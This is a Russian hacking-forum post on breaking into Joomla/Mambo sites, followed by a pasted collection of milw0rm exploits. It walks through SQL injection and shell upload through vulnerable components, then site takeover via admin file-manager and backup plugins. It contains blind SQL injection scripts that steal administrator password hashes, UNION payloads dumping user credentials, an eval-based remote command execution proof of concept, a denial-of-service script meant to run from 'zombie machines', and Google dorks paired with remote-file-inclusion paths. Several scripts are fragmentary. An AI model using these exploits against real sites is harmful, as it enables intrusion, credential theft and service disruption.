Хочу начать обзор со слов, что как бы Joomla не считалась одной из самых уязвимых CMS, на мой взгляд, Joomla очень даже не плохой движок со стороны безопасности. Проблема заключается в сторонних компонентах подключаемых к движкам и разработанных левыми (не разработчиками Джумлы) разработчиками. Но блогодаря сторонним компонентам эта CMS становиться интересной «изнутри» (в администраторской панели).
Доступ в администраторскую панель:
Здесь я коснусь двух найденных мною уязвимостей в Джумле.
1. Компонент SimpleFaq 2.х (com_simplefaq) *
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.
Уязвимость существует из-за недостаточной обработки входных данных в параметре aid в установочном сценарии Joomla index.php (когда параметр \"option\" установлен в com_simplefaq и параметр task установлен в answer). Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. (c) securitylab.ru
* я позже узнал, что эта уязвимость была найдена до меня
Ну и соответственно наш милый браузер выдаст следующее:
2. Компонент ReMOSitory 341RE (com_remository) * Уязвимость существует из-за недостаточной обработки загружаемых файлов на сервер, и наличия прямого доступа к ним по дефолту.
* Данной уязвимости еще нигде не встречал
Внешний вид:
Теперь регистрируемся, и идем заливать файл (в нашем случае это шел))) по ссылке «Добавить файл»
После того как файл добавлен он автоматически загружается во временное хранилище (/downloads/uploads/), до одобрения администратора. Но мы ждать не будем и последуем по ссылке [На нашем форуме достаточно много полезной информации, поэтому для того чтобы видеть ссылки, вам необходимо ] и увидим следующее:
Открываем... А дальше совсем другая история, которую не раз поднимали в пределах форума.
Администраторская панель.
Вот мы и добрались до намеченной цели, но мало попасть сюда, нужно еще и иметь доступ на добавление/редактирование/удаление файлов. Для этого есть два варианта:
1. В большинстве случаях (на моей практике это 95/100) доступны на запись следующие папки:
А это гуд! Теперь не раздумывая, идем следующим путем: Установка/удаление => Компоненты. И смотря оттого, что именно нужно (а иногда нужно именно всё) устанавливаем следующие компоненты:
JoomlaXplorer 2.0 – подобие FTP сервера с возможностью установки прав на файлы, загрузка/редактирование/удаление файлов. Скрин:
Причем как можно заметить из скрина доступ обеспечивает не только на директорию сайта, но и если здесь же хостятся другие, то и к другим)))
JoomlaPack 1.1.0 – Компонент для создания архива данных (бэкап БД и Полный бэкап сайта с установочными файлами)
Здесь ничего сложного нет, просто идем по ссылке «Создать архив сайта», выбираем, что именно нужно создать (архив БД или архив сайта), создаем, потом идем по ссылке «Сохраненные архивы сайта» и скачиваем.
Теперь сайт под нашим чутким руководством)))
2. Использования шелла для поднятия рутовских прав, по этой возможности много статей можно найти пройдя по ссылке [На нашем форуме достаточно много полезной информации, поэтому для того чтобы видеть ссылки, вам необходимо ]
На этом всё. Ответственность за использования данной статьи предусмотрено Уголовным Кодексом Российской Федерации. Тема создана в познавательных целях.
JoomlaXplorer 2.0 – [На нашем форуме достаточно много полезной информации, поэтому для того чтобы видеть ссылки, вам необходимо ] JoomlaPack 1.1.0. – [На нашем форуме достаточно много полезной информации, поэтому для того чтобы видеть ссылки, вам необходимо ]
Подборка сплоитов для CMS Joomla! И сторонних компонентов – [На нашем форуме достаточно много полезной информации, поэтому для того чтобы видеть ссылки, вам необходимо ] – сплоиты (с) milw0rm.com
P.S. И помните каким бы ни был взлом, главное что бы он был безопасным (с) Анфиса Чехова
#!/usr/bin/php -q
Mambo 4.5.2.1 + mysql 4.1 > fetch password hash by pokleyzz <pokleyzz at scan-associates.net>
<?php
/*
Mambo 4.5.2.1 + mysql 4.1 > fetch password hash by pokleyzz <pokleyzz at scan-associates.net>
*content rating using sub query to select from mos_users
Requirement:
PHP 4.x with curl extension
Description:
The problem occur because $user_rating variable is not properly sanitize when for use in SQL query
for UPDATE statement.
$query = "UPDATE #__content_rating"
. "\n SET rating_count = rating_count + 1,"
. "\n rating_sum = rating_sum + $user_rating," <--- PROBLEM
. "\n lastip = '$currip'"
. "\n WHERE content_id = ". $cid
;
$database->setQuery( $query );
$database->query() or die( $database->stderr() );
} else {
mosRedirect ( $url, _ALREADY_VOTE );
}
}
mosRedirect ( $url, _THANKS );
}
}
-----
User may escape 1st checkpoint by passing (1-5)(string) value to $user_rating .In PHP beginning
number in string will be use when comparing number with string.
The 2nd checkpoint will check previous user's ip rated the content. Update statement will only
execute when previous ip is different from current ip. This proof of concept will use cgi proxy from
http://projectbypass.com to make it possible.
In mySQL 4.1 and above it is possible to use "sub select" in any SQL statement. We will using
"blind fishing" with sub select to fetch password hash (md5) for supplied user id.
Exploiting step:
1) rate from different ip
2) check time for standard page loading
3) check time for page loading when benchmark executed.
* If error occur mysql version is < 4.1 (no support for sub select)
4) double the benchmark value. Blind fishing will use this value to do the query.
5) blind fishing with sub select.
Special thanks:
al3ndaleeb at hotmail.com
*/
if (!(function_exists('curl_init'))) {
echo "cURL extension required\n";
exit;
}
OPTIONS
HOST - Host where mambo installed
FOLDER - Folder where mambo installed
USER_ID - User ID for brute (default is 62 for admin)
E.G.
r57mambo.pl http://blah.com /mambo/ 62
---------------------------------------------------------------
(c)oded by 1dt.w0lf
RST/GHC , http://rst.void.ru , http://ghc.ru
);
exit();
}
sub head()
{
print q(
---------------------------------------------------------------
Mambo <= 4.5.2.1, MySQL => 4.1 sql injection exploit by RST/GHC
---------------------------------------------------------------
);
}
# milw0rm.com [2005-06-21]
Mambo <= 4.6rc1 Weblinks blind SQL injection
PHP код:
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "Mambo <= 4.6rc1 'Weblinks' blind SQL injection / admin credentials\r\n";
echo "disclosure exploit (benchmark() vesion)\r\n";
echo "by rgod [На нашем форуме достаточно много полезной информации, поэтому для того чтобы видеть ссылки, вам необходимо ]\r\n";
echo "site: http://retrogod.altervista.org\r\n";
echo "this is called the Sun-Tzu 'trascendental guru meditation' tecnique\r\n\r\n";
if ($argc<5) {
echo "Usage: php ".$argv[0]." host path user pass OPTIONS\r\n";
echo "host: target server (ip/hostname)\r\n";
echo "path: path to Mambo\r\n";
echo "user/pass: you need an account\r\n";
echo "Options:\r\n";
echo " -T[prefix] specify a table prefix different from 'mos_'\r\n";
echo " -p[port]: specify a port other than 80\r\n";
echo " -P[ip:port]: specify a proxy\r\n";
echo "Example:\r\n";
echo "php ".$argv[0]." localhost /mambo/ username password\r\n";
die;
}
/*
explaination:
sql injection in "title" argument when you submit a web link, poc:
start mysql daemon with log option...
>mysqld --log=mambo.txt
now login, go to "Submit Weblink" feature, in "Name: " field type:
99999' UNION SELECT IF ((ASCII(SUBSTRING(password,1,1))=0) & 1, benchmark(200000000,CHAR(0)),0) FROM mos_users WHERE usertype='Super Administrator'/*
in mambo.txt we have:
13 Query SELECT id FROM mos_weblinks
WHERE title='99999' UNION SELECT IF ((ASCII(SUBSTRING(password,1,1))=0) & 1, benchmark(50000000,CHAR(0)),0) FROM mos_users WHERE usertype='Super Administrator'/*' AND catid='2'
injection is blind but, as you can see, we can you use time delays through Mysql
benchmark() function to ask questions about tables
this works regardless of magic_quotes_gpc settings
<p align="center"><font size="4" color="#0000FF">Mambo/Joomla Path Disclosure &
(IIS Server-isapi mod) Remote Denial Of Service</font></p>
<p class="Stile6" align="center"><font size="3" color="#FF0000">by trueend5</font></p>
<p align="center"><font size="4" color="#008000">Computer Security Science Researchers
Institute</font></p>
<font SIZE="3">
<p align="center"><a href="http://www.kapda.ir">KAPDA</a></p>
<p align="center"> </p>
</font>
<table width="90%">
<tbody>
<tr>
<td width="43%" align="left">
<form name="form1" action="'.$SERVER[PHP_SELF].'" method="post">
<p><input name="host" size="20"> <span class="Stile5"><font color="#FF0000">*</font> hostname (ex: www.sitename.com)</span></p>
<p><input name="path" size="20"> <span class="Stile5"><font color="#FF0000">*</font> path (ex:
/mambo/
or just / )</span></p>
<p><input name="pref" size="20"> <span class="Stile5">prefix (default is
"kap")</span></p>
<p> useful when you want to Run this script
twice or more at the same time against a target For DDOS.</p>
<p> to perform it Just rename this file and choose a different
prefix and run the exploits from your system ,</p>
<p> remote locations or from zombies machines.</p>
<p> (quintuplet or more is recommended to cause remote server
crash for a none dedicated host)</p>
<p><input name="port" size="20"><span class="Stile5"> specify a port
(default is 80)</span></p>
<p><input name="proxy" size="20"><span class="Stile5"> send exploit
through an HTTP proxy (ip:port)</span></p>
<p align="center"> <span class="Stile5"><font color="#FF0000">
* </font>fields are required</span></p>
<p align="center"><span class="Stile5">-----------------------------------------------------------------------------------------------</span></p>
if (($host<>'') and ($path<>'')){
{
$port=intval(trim($port));
$pref=(trim($pref));
if ($port=='') {$port=80;}
if ($pref=='') {$pref='kap';}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('Error... check the path!');}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("\r\n","",$host);
$path=str_replace("\r\n","",$path);
echo ' Try to find installaton path ...';
$packet="GET ".$p."index2.php?option=com_rss&feed=test\/>"." HTTP/1.1\r\n";
$packet.="User-Agent: Shareaza v1.x.x.xx\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("fopen",$html)){
$arr = array("fopen(","test"); $rep = array("\n\n\n\nThe installation path is:\n","\n\n\n\n");
$html = str_replace($arr, $rep, $html);
echo nl2br(htmlentities($html));} else
{echo "error reporting is Off, Can not receive the installation path";}
}
echo "try to create superfluous files on remote server: \r\n";
for ($n = 1; $n <= 4000; $n++) {
$packet="GET ".$p."index2.php?option=com_rss&feed=".$pref.$n." HTTP/1.1\r\n";
$packet.="User-Agent: Shareaza v1.x.x.xx\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
echo "$pref$n.xml created|\t";
}
echo "Exploit finished";
}
else
{echo "Note: if you received time exceeded error, run again the xpl with new prefix";}
?>
# milw0rm.com [2006-04-19]
Joomla <= 1.0.9 Weblinks blind SQL injection
PHP код:
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "Joomla <= 1.0.9 'Weblinks' blind SQL injection / admin credentials\r\n";
echo "disclosure exploit (benchmark() vesion)\r\n";
echo "by rgod [На нашем форуме достаточно много полезной информации, поэтому для того чтобы видеть ссылки, вам необходимо ]\r\n";
echo "site: http://retrogod.altervista.org\r\n";
if ($argc<5) {
echo "Usage: php ".$argv[0]." host path user pass OPTIONS\r\n";
echo "host: target server (ip/hostname)\r\n";
echo "path: path to Joomla\r\n";
echo "user/pass: you need an account\r\n";
echo "Options:\r\n";
echo " -T[prefix] specify a table prefix different from 'jos_'\r\n";
echo " -p[port]: specify a port other than 80\r\n";
echo " -P[ip:port]: specify a proxy\r\n";
echo "Example:\r\n";
echo "php ".$argv[0]." localhost /joomla/ username password\r\n";
die;
}
/*
explaination:
same of http://retrogod.altervista.org/mambo_46rc1_sql.html
with some modifications to work against Joomla
and with an always true statement, to avoid to flood admin of e-mail notifications
about submissions (they simply do not succeed but injection works aswell)
*/
<p><input name="voteid" size="20"><span class="Stile5"><font color="#FF0000">
*</font> voteid ( <b><u>1</u></b> for first option, <b><u>2</u></b>
for second one , <b><u>3</u></b> for third and so... )</span></p>
<p><input name="hits" size="20"><span class="Stile5"><font color="#FF0000">
*</font>
hits ( number of votes that you want to add ) </span></p>
<p><input name="port" size="20"><span class="Stile5"> specify a port
(default: 80)</span></p>
<p><input name="proxy" size="20" ><span class="Stile5"> send exploit
through an HTTP proxy (ip:port)</span></p>
}
}
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);}
else
{
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid proxy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
//echo nl2br(htmlentities($html));
}
$host=trim($_POST[host]);
$path=trim($_POST[path]);
$port=intval(trim($_POST[port]));
$pollid=intval(trim($_POST[pollid]));
$voteid=intval(trim($_POST[voteid]));
$hits=intval(trim($_POST[hits]));
if (($host<>'') and ($path<>'') and ($pollid<>'') and ($voteid<>'') and ($hits<>''))
{
$host=str_replace("\r\n","",$host);
$path=str_replace("\r\n","",$path);
if ($port=='') {$port=80;}
if ($hits=='') {$hits=200;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$livesite=$host;
if ($path=='/') {$livepath='';} else $livepath=substr("$path", 0, strlen($path)-1);
$sessionpath='http://'.$livesite.$livepath;
Hi,
Joomla! 1.5.0 is in Beta version and "should NOT to be used for `live`
or `production` sites."
Joomla 1.0.12 has a good security but it seems that Joomla 1.5.0 doesnt
have a good security approach. Anyway, there is a remote file inclusion
in Joomla 1.5.0 Beta :
File /libraries/pcl/pcltar.php, Line 74 :
if (!defined("PCLERROR_LIB"))
{
include($g_pcltar_lib_dir."/pclerror.lib.".$g_pcltar_extension);
}
Joomla! is an award-winning Content Management System (CMS) that will
help you build websites and other powerful online applications. Best of
all, Joomla! is an open source solution that is freely available to
everybody. Joomla! is used all over the world to power everything from
simple, personal homepages to complex corporate web applications.
The search component of Joomla! allows an attacker to execute arbitrary
PHP commands. It is e.g. possible to execute OS commands via system()
calls. PHP is set to the settings recommended by the Joomla! installer!
An attacker does not need to be authenticated to perform this attack!
Input of the "searchword" parameter is being passed to the mentioned
eval() code and executed. An attacker is able to append new PHP commands
after the "echo" language construct which can be used for OS command
execution.
In order to bypass the search word length limitation of 20 characters a
new GET parameter is being used to specify the OS commands (see proof of
concept).
Proof of concept:
-----------------
http://$joomlahost/index.php?searchword=";phpinfo();%23&option=com_search&Itemid=1
http://$joomlahost/index.php?c=id&searchword=";system($_GET[c]);%23&option=com_search&Itemid=1
Vulnerable versions:
--------------------
The following versions were found to be vulnerable:
* 1.5 beta 2
Earlier versions of Joomla! 1.5 beta have not been tested and may be
vulnerable too!
The stable version 1.0.13 of Joomla! does not contain the vulnerable
code and is not affected by this security issue.
Vendor contact timeline:
------------------------
2007-05-21: vendor notified via email ( [На нашем форуме достаточно много полезной информации, поэтому для того чтобы видеть ссылки, вам необходимо ])
2007-05-21: vendor replied and fixed the issue in SVN
URL:
http://joomlacode.org/gf/project/joomla/scmsvn/?action=browse&path=%2Fdevelopment%2Ftrunk%2Fcomponents%2Fcom_search%2Fviews%2Fsearch%2Fview.php&r1=7455&r2=7456
2007-07-21: vendor released RC1 of Joomla! 1.5
2007-07-22: coordinated disclosure date, special greetings to Rob!
Solution:
---------
The vendor does not recommend using the development version v1.5 beta
for production sites and suggests using the latest stable version(s).
If Joomla! v1.5 beta is being used, upgrade to v1.5 RC1 immediately
which fixes the issue!
Patch/Workaround:
-----------------
Use the fix from SVN (check out at least revision 7456 of
/development/trunk/components/com_search/views/search/view.php)
Although the comment points out that the "filter" variable is supposedly cleansed there is no
input validation being performed except for the fact that all input is being turned into lowercase.
// Get the page/component configuration
$params = &$mainframe->getPageParameters();
switch ($params->get('filter_type', 'title'))
{
case 'title' :
$where .= ' AND LOWER( a.title ) LIKE \'%'.$filter.'%\'';
break;
case 'author' :
$where .= ' AND ( ( LOWER( u.name ) LIKE \'%'.$filter.'%\' ) OR ( LOWER( a.created_by_alias ) LIKE \'%'.$filter.'%\' ) )';
break;
case 'hits' :
$where .= ' AND a.hits LIKE \'%'.$filter.'%\'';
break;
}
}
return $where;
Notes:
I found this in the first week of the 1.5 release, just wanted to see if nobody would realize
it was there and hopefully the same bug was about in FINAL, meh!
I must applaud the developers for their multi-factor authenication code they
added to the 1.5 version. For this reason I was unable to script a "login -> upload arbitrary
script" exploit. Maybe someone better than me can do it...who knows!
magic_quotes_gpc must be set to off in order for this script to work!
Upload Arbitrary Files:
1. Login as admin via /administrator/
2. Browse to /administrator/index.php?option=com_installer
3. In the "Upload Package File" section choose ANY file you wish to upload
4. Browse to /tmp/[FILE] and it's there!
for ($i=5; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
##########################################
#
# Mambo Component com_joovideo SQL Injection(Powered by joovideo V1.0)
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####MAİL : [На нашем форуме достаточно много полезной информации, поэтому для того чтобы видеть ссылки, вам необходимо ]
#
###########################################
TODAY MY BİRTDAY
SOO I WROTE 5 BUGS ALL FOR HACKERS
5 EXPLOİTS HAVE 100.000 MAMBO-JOOMLA WEBPAGES OR MUCH MORE
DONT FORGET MY PRESENT HACKERS
GOOD LUCKY
100.000 DEN FAZLA MAMBO NE JOOMLA WEBSiTESi
YASGUNUM NEDENiYLE HEDiYE
iYi SANLAR
you can see all my exploits
http://my.opera.com/SQL-Injection/blog/
###########################################
#
# DORK 1 : allinurl: "com_joovideo" detail
#
# DORK 2 : allinurl: "com_joovideo"
#
# DORK 3 : Powered by joovideo V1.0
#
###########################################
EXPLOIT :
index.php?option=com_joovideo&Itemid=S@BUN&task=detail&id=-99999/**/union/**/select/**/0,0,0x3a,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,concat(username,0x3a,password)/**/from/**/jos_users/*
###########################################
##################S@BUN####################
###########################################
##### [На нашем форуме достаточно много полезной информации, поэтому для того чтобы видеть ссылки, вам необходимо ]#####
###########################################
side note:
<name>joovideo</name>
<creationDate>18.04.2007</creationDate>
<author>joomlapixel</author>
<copyright>This component in released under the commercial License</copyright>
<authorEmail> [На нашем форуме достаточно много полезной информации, поэтому для того чтобы видеть ссылки, вам необходимо ]</authorEmail>
<authorUrl>www.joomlapixel.eu</authorUrl>
<version>1.2.2</version>
<description>joovideo! video manager semplificato per joomla!, versione commerciale</description>
# milw0rm.com [2008-03-19]
##########################################
#
# Mambo Component com_alberghi SQL Injection
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####MAİL : [На нашем форуме достаточно много полезной информации, поэтому для того чтобы видеть ссылки, вам необходимо ]
#
###########################################
TODAY MY BİRTDAY
SOO I WROTE 5 BUGS ALL FOR HACKERS
5 EXPLOİTS HAVE 100.000 MAMBO-JOOMLA WEBPAGES OR MUCH MORE
DONT FORGET MY PRESENT HACKERS
GOOD LUCKY
100.000 DEN FAZLA MAMBO NE JOOMLA WEBSiTESi
YASGUNUM NEDENiYLE HEDiYE
iYi SANLAR
you can see all my exploits
http://my.opera.com/SQL-Injection/blog/
###########################################
#
# DORK 1 : allinurl: "com_alberghi" detail
#
# DORK 2 : allinurl: "com_alberghi"
#
###########################################
EXPLOIT 1 :
index.php?option=com_alberghi&task=detail&Itemid=S@BUN&id=-99999/**/union/**/select/**/0,0,0x3a,0,0,0,0,0,0,0,0,11,12,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,concat(username,0x3a,password)/**/from/**/jos_users/*
EXPLOIT 2 :
index.php?option=com_alberghi&task=detail&Itemid=S@BUN&id=-99999/**/union/**/select/**/0,0,0x3a,0,0,0,0,0,0,0,0,11,12,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,concat(username,0x3a,password)/**/from/**/jos_users/*
###########################################
##################S@BUN####################
###########################################
##### [На нашем форуме достаточно много полезной информации, поэтому для того чтобы видеть ссылки, вам необходимо ]#####
###########################################
side note:
<name>Alberghi</name>
<author>Vamba</author>
<creationDate>14-04-2007</creationDate>
<copyright>This component is released under the GNU/GPL License</copyright>
<license>http://www.gnu.org/copyleft/gpl.html GNU/GPL</license>
<authorEmail> [На нашем форуме достаточно много полезной информации, поэтому для того чтобы видеть ссылки, вам необходимо ]</authorEmail>
<authorUrl>www.joomlaitalia.com</authorUrl>
<version>2.1.3</version>
<description>Alberghi a fork of Accombo project original Author Niall McCullagh</description>
# milw0rm.com [2008-03-19]
##########################################
#
# Mambo Component com_restaurante SQL Injection
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####MAİL : [На нашем форуме достаточно много полезной информации, поэтому для того чтобы видеть ссылки, вам необходимо ]
#
############################################
TODAY MY BİRTDAY
SOO I WROTE 5 BUGS ALL FOR HACKERS
5 EXPLOİT HAVE 100.000 MAMBO-JOOMLA WEBPAGES OR MUCH MORE
DONT FORGET MY PRESENT HACKERS
GOOD LUCKY
100.000 DEN FAZLA MAMBO NE JOOMLA WEBSiTESi
YASGUNUM NEDENiYLE HEDiYE
iYi SANLAR
you can see all my exploits
http://my.opera.com/SQL-Injection/blog/
###########################################
#
# DORK 1 : allinurl: "com_restaurante"
#
###########################################
EXPLOIT :
index.php?option=com_restaurante&task=detail&Itemid=S@BUN&id=-99999/**/union/**/select/**/0,0,0x3a,0,0,0,0,0,0,0,0,11,12,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,4,4,4,4,concat(username,0x3a,password)/**/from/**/jos_users/*
###########################################
##################S@BUN####################
###########################################
##### [На нашем форуме достаточно много полезной информации, поэтому для того чтобы видеть ссылки, вам необходимо ]#####
###########################################
side note:
<name>Restaurante</name>
<author>Detodas</author>
<creationDate>31-07-2007</creationDate>
<license>This component is released under the GNU/GPL License</license>
<authorEmail> [На нашем форуме достаточно много полезной информации, поэтому для того чтобы видеть ссылки, вам необходимо ]</authorEmail>
<authorUrl>www.detodo.masde50.net</authorUrl>
<version>1.0</version>
<description>The structure of this component is based on the structure of the component Alberghi by Vamba</description>
# milw0rm.com [2008-03-19]
Site Sonuna:
components/minibb/index.php?absolute_path=shell
Google Dork:
inurl:"com_smf"
Site Sonuna:
/components/com_smf/smf.php?mosConfig_absolute_path=
Site Sonuna2:
/modules/mod_calendar.php?absolute_path=shell
Google Dork:
inurl:"com_pollxt"
Site Sonuna:
/components/com_pollxt/conf.pollxt.php?mosConfig_absolute_path=shell
Google Dork:
inurl:"com_loudmounth"
Site Sonuna:
/components/com_loudmounth/includes/abbc/abbc.class.php?mosConfig_absolute_path=shell
Google Dork:
inurl:"com_videodb"
Site Sonuna:
/components/com_videodb/core/videodb.class.xml.php?mosConfig_absolute_path=shel l
Google Dork:
inurl:index.php?option=com_pcchess
Site Sonuna:
/components/com_pcchess/include.pcchess.php?mosConfig_absolute_path=shell
Google Dork:
inurl:"com_multibanners"
Site Sonuna:
/administrator/components/com_multibanners/extadminmenus.class.php?mosConfig_absolute_path=sh ell
Google Dork:
inurl:"com_a6mambohelpdesk"
Site Sonuna:
/administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=shel l
Google Dork:
inurl:"com_colophon"
Site Sonuna:
/administrator/components/com_colophon/admin.colophon.php?mosConfig_absolute_path=shell
Google Dork:
inurl:"com_mgm"
Site Sonuna:
administrator/components/com_mgm/help.mgm.php?mosConfig_absolute_path=shell
Google Dork:
inurl:"com_mambatstaff"
Site Sonuna:
/components/com_mambatstaff/mambatstaff.php?mosConfig_absolute_path=shell
Google Dork:
inurl:"com_securityimages"
Site Sonuna:
/components/com_securityimages/configinsert.php?mosConfig_absolute_path=shell
Site Sonuna2:
/components/com_securityimages/lang.php?mosConfig_absolute_path=shell
Google Dork:
inurl:"com_artlinks"
Site Sonuna:
/components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path=shell
Google Dork:
inurl:"com_galleria"
Site Sonuna:
/components/com_galleria/galleria.html.php?mosConfig_absolute_path=shell
Google Dork:
inurl:"com_akocomment"
Site Sonuna:
/akocomments.php?mosConfig_absolute_path=shell
Google Dork:
inurl:"com_cropimage"
Site Sonuna:
administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir=shell
Google Dork:
inurl:"com_kochsuite"
Site Sonuna:
/administrator/components/com_kochsuite/config.kochsuite.php?mosConfig_absolute_path=shell
Google Dork:
inurl:"com_comprofiler"
Site Sonuna:
administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path=shell
Google Dork:
inurl:"com_zoom"
Site Sonuna:
/components/com_zoom/classes/fs_unix.php?mosConfig_absolute_path=shell
Site Sonuna2:
/components/com_zoom/includes/database.php?mosConfig_absolute_path=shell
Google Dork:
inurl:"com_serverstat"
Site Sonuna:
/administrator/components/com_serverstat/install.serverstat.php?mosConfig_absolute_path=she ll
Google Dork:
inurl:"com_fm"
Site Sonuna:
components/com_fm/fm.install.php?lm_absolute_path=shell
Google Dork:
inurl:com_mambelfish
Site Sonuna:
administrator/components/com_mambelfish/mambelfish.class.php?mosConfig_absolute_path=shell
Google Dork:
inurl:com_lmo
Site Sonuna:
components/com_lmo/lmo.php?mosConfig_absolute_path=shell
Google Dork:
inurl:com_linkdirectory
Site Sonuna:
administrator/components/com_linkdirectory/toolbar.linkdirectory.html.php?mosConfig_absolute_ path=shell
Google Dork:
inurl:com_mtree
Site Sonuna:
components/com_mtree/Savant2/Savant2_Plugin_textarea.php?mosConfig_absolute_pat h=shell
Google Dork:
inurl:com_jim
Site Sonuna:
administrator/components/com_jim/install.jim.php?mosConfig_absolute_path=shell
Google Dork:
inurl:com_webring
Site Sonuna:
administrator/components/com_webring/admin.webring.docs.php?component_dir=shell
Google Dork:
inurl:com_remository
Site Sonuna:
administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path=
Google Dork:
inurl:com_babackup
Site Sonuna:
administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=shell
Google Dork:
inurl:com_lurm_constructor
Site Sonuna:
administrator/components/com_lurm_constructor/admin.lurm_constructor.php?lm_absolute_path=shell
Google Dork:
inurl:com_mambowiki
Site Sonuna:
components/com_mambowiki/ MamboLogin.php?IP=shell
Google Dork:
inurl:com_a6mambocredits
Site Sonuna:
administrator/components/com_a6mambocredits/admin.a6mambocredits.php?mosConfig_live_site=shell
Google Dork:
inurl:com_phpshop
Site Sonuna:
administrator/components/com_phpshop/toolbar.phpshop.html.php?mosConfig_absolute_path=s hell
Google Dork:
inurl:com_cpg
Site Sonuna:
components/com_cpg/cpg.php?mosConfig_absolute_path=shell
Google Dork:
inurl:com_moodle
Site Sonuna:
components/com_moodle/moodle.php?mosConfig_absolute_path=shell
Google Dork:
inurl:com_extended_registration
Site Sonuna:
components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_p ath=shell
Google Dork:
inurl:com_mospray
Site Sonuna:
components/com_mospray/scripts/admin.php?basedir=shell
Google Dork:
inurl:com_bayesiannaivefilter
Site Sonuna:
/administrator/components/com_bayesiannaivefilter/lang.php?mosConfig_absolute_path=shell
Google Dork:
inurl:com_uhp
Site Sonuna:
/administrator/components/com_uhp/uhp_config.php?mosConfig_absolute_path=shell
Google Dork:
inurl:com_peoplebook
Site Sonuna:
/administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path=shell
Google Dork:
inurl:com_mmp
Site Sonuna:
/administrator/components/com_mmp/help.mmp.php?mosConfig_absolute_path=shell
Google Dork:
inurl:com_reporter
Site Sonuna:
/components/com_reporter/processor/reporter.sql.php?mosConfig_absolute_path=shell
Google Dork:
inurl:com_madeira
Site Sonuna:
/components/com_madeira/img.php?url=shell
Google Dork:
inurl:com_jd-wiki
Site Sonuna:
/components/com_jd-wiki/lib/tpl/default/main.php?mosConfig_absolute_path=shell
Google Dork:
inurl:com_bsq_sitestats
Site Sonuna:
/components/com_bsq_sitestats/external/rssfeed.php?baseDir=shell
Site Sonuna2:
/com_bsq_sitestats/external/rssfeed.php?baseDir=shell
/---------------------------------------------------------------\
\ /
/ Joomla Component prayercenter Remote SQL injection \
\ /
\---------------------------------------------------------------/
[*] Author : His0k4 [ALGERIAN HaCkEr]
[*] Dork : inurl:"com_prayercenter"
[*] POC : http://localhost/[Joomla_Path]/index2.php?option=com_prayercenter&task=view_request&id={SQL}
[*] Example : http://localhost/[Joomla_Path]/index2.php?option=com_prayercenter&task=view_request&id=-1 UNION SELECT user(),user(),concat(username,0x3a,password),user(),user(),user(),user(),user(),user(),user(),user(),user(),user() FROM jos_users--
[*] Note : Sometimes you need to register for doing this exploit
----------------------------------------------------------------------------[*] Greetings : Str0ke, all friends & muslims HaCkeRs...[*] Greetings2 : http://www.palcastle.org/cc
Joomla Component Artist (idgalery) SQL Injection Vulnerability
Код:
Cr@zy_King / [На нашем форуме достаточно много полезной информации, поэтому для того чтобы видеть ссылки, вам необходимо ].uk
Joomla Component Artist Remote Sql İnjection
M4sterZ sqL / t4cs1zkr4L : )
Down : http://www.joomlaresource.com/joomla_downloads/Download/Joomla_Components/Artists/
http://localhost/index.php?option=com_artist&idgalery=Sql
Sql : -1+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9+from+jos_users/*
gretZ : aLL My Friends & CoderX Federation & Code Hunters and str0ke
-----------------------------
#Joomla com_simple_review Sql injection#
########################################
#[~] Author : EcHoLL
#[~] www.warezturk.org www.tahribat.com
#[~] Greetz : Black_label Hippi Godlike Nitrous
#[!] Module_Name: com_simple_review
#[!] Script_Name: Joomla
